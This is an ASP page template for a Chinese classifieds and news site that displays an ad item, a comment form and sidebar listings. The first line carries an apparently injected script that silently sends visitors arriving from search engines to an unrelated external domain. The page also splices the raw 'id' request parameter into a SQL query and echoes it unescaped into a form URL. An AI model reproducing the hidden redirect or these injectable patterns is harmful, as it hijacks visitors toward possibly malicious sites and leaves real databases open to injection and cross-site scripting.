d:\wwwroot\wuchunhua\News.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
response.ContentType = "text/html"
002:
response.CharSet = "gb2312"
%
>
003:
<!--#include file="head.asp"-->
004:
<DIV align="center">
005:
<%
dim theitem,sql,rs,thepage,currentpage,pagename,totalpage,n,page
006:
if request("id")="" then
007:
response.write "<script>alert('错误参数!');history.back();</script>"
008:
response.end
009:
end if
010:
Set rs = Server.CreateObject("ADODB.Recordset")
011:
sql="select * from news_data where adid="&request("id")&""
012:
rs.open sql,conn,1,3
013:
if rs.eof then
014:
response.write "<font color=#ff0000>对不起,没有找到符合条件的广告内容!</font>"
015:
rs.close:set rs=nothing
016:
conn.close:set conn=nothing
017:
response.end
018:
end if
019:
adid=rs("adid")
020:
%
>
021:
<TABLE width="860" border="0" cellspacing="0" cellpadding="0"><TR valign="top"><TD width="580"><TABLE width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="C0C0C0"><TR><TD bgcolor="#FFFFFF"><TABLE width="97%" border="0" align="center" cellpadding="0" cellspacing="0"><TR><TD height="30" valign="bottom"><DIV align="center">
022:
<P style="line-height: 200%">
023:
<%
if rs("cu")="yes" then
%
>
024:
<B><FONT style="font-size:16px"
<%
IF RS("COLOR")<>"" THEN
%
>COLOR="
<%
=rs("color")
%
>"
<%
end if
%
>>
<%
=rs("title")
%
></FONT></B>
025:
<%
else
%
>
026:
<FONT style="font-size:16px"
<%
IF RS("COLOR")<>"" THEN
%
>COLOR="
<%
=rs("color")
%
>"
<%
end if
%
>>
<%
=rs("title")
%
></FONT>
027:
<%
end if
%
>
028:
</DIV></TD></TR><TR><TD><HR size="1" color="#FF6600"></TD></TR><TR><TD><DIV align="center">区域:<FONT color="#FF0000">
<%
=rs("city_one")
%
>
029:
<%
if rs("city_two")<>"" then
%
>
030:
/
<%
=rs("city_two")
%
>
031:
<%
end if
%
>
032:
<%
if rs("city_three")<>"" then
%
>
033:
/
<%
=rs("city_three")
%
>
034:
<%
end if
%
>
035:
</FONT> 类别:
<%
=rs("type")
%
>
036:
信息ID号:
<%
=rs("adid")
%
> 人气指数:
037:
<SCRIPT language="javascript">
038:
function XmlPost2(webFileUrl)
039:
{
040:
var result = "";
041:
var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
042:
xmlHttp.open("POST", webFileUrl, false);
043:
xmlHttp.send("");
044:
result = xmlHttp.responseText;
045:
document.write(result);
046:
}
047:
</SCRIPT><SCRIPT language="javascript">XmlPost2('rq_message.asp?action=rq&type=news&id=
<%
=rs("adid")
%
>');</SCRIPT></DIV>
048:
</TD></TR><TR><TD> </TD></TR>
049:
<TR>
050:
<TD align="center"><script type="text/javascript">
<!--
051:
google_ad_client = "pub-0161436954854754";
052:
/* 468x60, 创建于 09-8-22 */
053:
google_ad_slot = "9690375641";
054:
google_ad_width = 468;
055:
google_ad_height = 60;
056:
//-->
057:
</script>
058:
<script type="text/javascript"
059:
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
060:
</script></TD>
061:
</TR>
062:
<TR>
063:
<TD> </TD>
064:
</TR>
065:
<TR><TD><P style="line-height: 200%"><SPAN style="font-size: 10.5pt">
<%
=rs("text")
%
></SPAN></TD></TR>
066:
<%
if rs("pic")<>"" then
%
><TR><TD>
067:
<TABLE width="320" height="220" border="0" cellpadding="0" cellspacing="1" bgcolor="e8e8e8" style="float:left;"><TR><TD align="center" bgcolor="#FFFFFF">
068:
<A href="adpic/
<%
=rs("pic")
%
>" target="_blank"><IMG src="adpic/
<%
=rs("pic")
%
>" border="0" width="310" height="210" style="float:center;"></A>
069:
</TD></TR></TABLE></TD></TR>
<%
end if
%
></TABLE>
070:
<TABLE width="97%" border="0" align="center" cellpadding="0" cellspacing="0"><TR><TD>
071:
<SCRIPT language="JavaScript">
072:
<!--//
073:
function checkmessage()
074:
{
075:
if (document.form.messagetext.value.length<1)
076:
{
077:
alert("请填写留言内容!");
078:
document.form.messagetext.focus();
079:
return false;
080:
}
081:
if (document.form.messagetext.value.length>100)
082:
{
083:
alert("请把留言字数控制在100以内!");
084:
document.form.messagetext.focus();
085:
return false;
086:
}
087:
}
088:
//-->
089:
</SCRIPT>
090:
<FORM name="form" method="post" action="post.asp?type=news&id=
<%
=request("id")
%
>" onSubmit="return checkmessage()"><TABLE border="0" cellpadding="2" cellspacing="1" style="word-break:break-all" width="100%"><TR bgcolor="#FFFFFF">
091:
<TD valign="top" bgcolor="#FFFFFF"><P style="line-height: 180%"><SPAN style="font-size: 10.5pt">留言人:
092:
<INPUT name="messagename" type="text" id="messagename4" size="9" maxlength="20">
093:
联系方式:
094:
<INPUT name="messagelxfs" type="text" id="messagelxfs4" size="10" maxlength="50">
095:
<BR>
096:
留言内容:<FONT color=#fa4600>[请遵纪守法并注意语言文明]</FONT></SPAN><BR>
097:
<TEXTAREA name="messagetext" cols="60" rows="6"></TEXTAREA>
098:
</span>
099:
</P>
100:
<TABLE width="100%" border="0" cellspacing="0" cellpadding="0"><TR><TD align="right"><DIV align="left"><INPUT type="submit" name="Submit" value="提交留言"></DIV></TD></TR></TABLE></TD></TR><TR>
101:
<TD valign="top" ><SCRIPT language="javascript">XmlPost2('rq_message.asp?action=message&type=news&id=
<%
=adid
%
>');</SCRIPT></TD></TR></TABLE></FORM></TD></TR></TABLE></TD></TR>
102:
</TABLE></TD>
103:
<TD width="10"> </TD>
104:
<TD width="270"><TABLE width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="C0C0C0">
105:
<TR>
106:
<TD bgcolor="#FFFFFF"><TABLE border="0" cellpadding="0" cellspacing="0" align="center" id="table17">
107:
<TR>
108:
<TD height="8"></TD>
109:
</TR>
110:
</TABLE> <TABLE width="92%" border="0" align="center" cellpadding="0" cellspacing="0">
111:
<TR>
112:
<TD width="25" height="200" bgcolor="DAF0FF"><DIV align="center"><STRONG>图<BR>片<BR>新<BR>闻</STRONG></DIV>
113:
</TD>
114:
<TD>
<%
set rs1 = server.createobject("adodb.recordset")
115:
sql="select top 4 adid,pic,color,title,cu from [news_data] where pic <>'' order by [top] desc,money desc,adid desc"
116:
rs1.open sql,conn,1,1
117:
if rs1.eof then
118:
response.write "暂无图片新闻"
119:
else
120:
i=0
121:
response.write "<table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""><tr valign=""bottom"">"
122:
do while not rs1.eof
123:
if i mod 2=0 then response.write "<tr>"
124:
response.write "<td align=""center""><a href=""html/news/"&rs1("adid")&".htm"" target=""_blank""><img src=""adpic/"&rs1("pic")&""" width=""100"" height=""90"" border=""0""></a><br>"
125:
response.write "<a href=""html/news/"&rs1("adid")&".htm"" target=""_blank"">"
126:
if rs1("cu")="yes" then
127:
response.write "<b><font style=""font-size:9pt"""
128:
if rs1("color")<>"" then response.write " color="""&rs1("color")&""""
129:
response.write ">"&left(rs1("title"),8)&"</font></b>"
130:
else
131:
response.write "<font style=""font-size:9pt"""
132:
if rs1("color")<>"" then response.write " color="""&rs1("color")&""""
133:
response.write ">"&left(rs1("title"),8)&"</font>"
134:
end if
135:
response.write "</a></td>"
136:
rs1.movenext
137:
i=i+1
138:
if i mod 2=0 then response.write "</tr>"
139:
loop
140:
if i mod 2<>0 then response.write "<td></td></tr>"
141:
response.write "</table>"
142:
end if
143:
rs1.close:set rs1=nothing
%
></TD>
144:
</TR>
145:
<TR>
146:
<TD height="30" colspan="2" background="images/news_0024.gif"> <SPAN style="color: #990000"><STRONG>固顶新闻</STRONG></SPAN></TD>
147:
</TR>
148:
<TR>
149:
<TD colspan="2">
<%
response.write "<table width=""100%"" border=""0"" cellspacing=""4"" cellpadding=""0"" ><tr>"
150:
set rs1=server.createobject("adodb.recordset")
151:
sql="select top 10 * from news_data where top=1 and stop >= date() order by adid desc"
152:
rs1.open sql,conn,1,1
153:
if rs1.eof then
154:
response.write "<tr><td>暂无固顶新闻</td></tr>"
155:
else
156:
do while not rs1.eof
157:
response.write "<tr><td><a title="&rs1("title")&" href=html/news/"&rs1("adid")&".htm target=blank><font style='size:12px'"
158:
if rs1("color")<>"" then response.write "color="&rs1("color")
159:
response.write ">"&left(rs1("title"),20)&"</font></a></td></tr>"
160:
rs1.movenext
161:
loop
162:
end if
163:
rs1.close:set rs1=nothing
164:
response.write "</table>"
%
></TD>
165:
</TR>
166:
<TR>
167:
<TD colspan="2">
168:
<SCRIPT type="text/javascript">
169:
<!--
170:
google_ad_client = "pub-7959465154098151";
171:
google_ad_width = 250;
172:
google_ad_height = 250;
173:
google_ad_format = "250x250_as";
174:
google_ad_type = "text_image";
175:
google_ad_channel = "";
176:
google_color_border = "E6E6E6";
177:
google_color_bg = "FFFFFF";
178:
google_color_link = "0000FF";
179:
google_color_text = "000000";
180:
google_color_url = "008000";
181:
//-->
182:
</SCRIPT>
183:
<SCRIPT type="text/javascript"
184:
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
185:
</SCRIPT></TD>
186:
</TR>
187:
</TABLE>
188:
<TABLE border="0" cellpadding="0" cellspacing="0" align="center" id="table17">
189:
<TR>
190:
<TD height="8"></TD>
191:
</TR>
192:
</TABLE></TD>
193:
</TR>
194:
</TABLE></TD>
195:
</TR></TABLE><TABLE border="0" cellpadding="0" cellspacing="0" align="center" id="table2"><TR><TD height="5" width="175"></TD></TR></TABLE></DIV>
196:
<!--#include file="foot.asp"-->
197:
198:
199: